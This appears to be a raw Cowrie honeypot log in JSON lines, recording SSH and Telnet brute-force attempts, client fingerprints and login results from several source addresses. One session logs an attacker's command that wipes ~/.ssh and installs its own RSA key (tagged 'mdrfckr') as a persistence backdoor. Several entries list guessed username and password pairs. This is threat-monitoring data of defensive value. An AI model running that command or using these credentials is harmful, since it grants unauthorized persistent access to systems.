{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:20.887464Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:21.104573Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:21.107585Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:21.216548Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:21.219671Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":24722,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0720c5c5518","protocol":"ssh","message":"New connection: 177.85.247.230:24722 (10.17.0.5:22) [session: a0720c5c5518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:21.316101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:21.319562Z","src_ip":"177.85.247.230","session":"a0720c5c5518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:21.422090Z","src_ip":"177.85.247.230","session":"a0720c5c5518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:21.867571Z","src_ip":"177.85.247.230","session":"a0720c5c5518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:22.974511Z","src_ip":"177.85.247.230","session":"a0720c5c5518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":24734,"dst_ip":"10.17.0.5","dst_port":22,"session":"394c26e74c12","protocol":"ssh","message":"New connection: 177.85.247.230:24734 (10.17.0.5:22) [session: 394c26e74c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.073733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.078182Z","src_ip":"177.85.247.230","session":"394c26e74c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.181090Z","src_ip":"177.85.247.230","session":"394c26e74c12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.17","src_port":35156,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ceee0f9b06","protocol":"ssh","message":"New connection: 101.96.195.17:35156 (10.17.0.5:22) [session: 65ceee0f9b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.188039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.191754Z","src_ip":"101.96.195.17","session":"65ceee0f9b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.410549Z","src_ip":"101.96.195.17","session":"65ceee0f9b06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.627918Z","src_ip":"177.85.247.230","session":"394c26e74c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.734146Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:23.737428Z","src_ip":"177.85.247.230","session":"394c26e74c12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q11111111","message":"login attempt [root/Q11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:24.324828Z","src_ip":"101.96.195.17","session":"65ceee0f9b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:25.549963Z","src_ip":"101.96.195.17","session":"65ceee0f9b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45718,"dst_ip":"159.203.135.109","dst_port":23,"session":"339801cbfe06","protocol":"telnet","message":"New connection: 107.6.151.170:45718 (159.203.135.109:23) [session: 339801cbfe06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:42.127671Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":41180,"dst_ip":"159.203.135.109","dst_port":22,"session":"03a2edd21a1c","protocol":"ssh","message":"New connection: 14.63.196.175:41180 (159.203.135.109:22) [session: 03a2edd21a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:44.913357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:44.921489Z","src_ip":"14.63.196.175","session":"03a2edd21a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:45.127733Z","src_ip":"14.63.196.175","session":"03a2edd21a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234!@#$","message":"login attempt [admin/1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:45.986274Z","src_ip":"14.63.196.175","session":"03a2edd21a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:47.194191Z","src_ip":"14.63.196.175","session":"03a2edd21a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":44850,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7d82dea5d81","protocol":"ssh","message":"New connection: 87.106.47.28:44850 (10.17.0.5:22) [session: f7d82dea5d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:48.036493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:48.041867Z","src_ip":"87.106.47.28","session":"f7d82dea5d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:48.137020Z","src_ip":"87.106.47.28","session":"f7d82dea5d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123qwe","message":"login attempt [ubuntu/qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:48.552790Z","src_ip":"87.106.47.28","session":"f7d82dea5d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":40684,"dst_ip":"10.17.0.5","dst_port":22,"session":"283dba4b9353","protocol":"ssh","message":"New connection: 163.7.9.84:40684 (10.17.0.5:22) [session: 283dba4b9353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:49.519778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:49.524523Z","src_ip":"163.7.9.84","session":"283dba4b9353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:49.652429Z","src_ip":"87.106.47.28","session":"f7d82dea5d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:49.778242Z","src_ip":"163.7.9.84","session":"283dba4b9353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdefgh","message":"login attempt [root/abcdefgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:50.817681Z","src_ip":"163.7.9.84","session":"283dba4b9353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:52.070953Z","src_ip":"163.7.9.84","session":"283dba4b9353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":36206,"dst_ip":"159.203.135.109","dst_port":22,"session":"597821e8cd00","protocol":"ssh","message":"New connection: 102.210.148.92:36206 (159.203.135.109:22) [session: 597821e8cd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:03.757816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:03.765625Z","src_ip":"102.210.148.92","session":"597821e8cd00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:04.005038Z","src_ip":"102.210.148.92","session":"597821e8cd00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghostpass","message":"login attempt [ghost/ghostpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:05.002840Z","src_ip":"102.210.148.92","session":"597821e8cd00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:06.246778Z","src_ip":"102.210.148.92","session":"597821e8cd00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":33146,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a8dd537ea85","protocol":"ssh","message":"New connection: 152.32.214.226:33146 (159.203.135.109:22) [session: 8a8dd537ea85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:25.110000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:25.114421Z","src_ip":"152.32.214.226","session":"8a8dd537ea85","protocol":"ssh"}
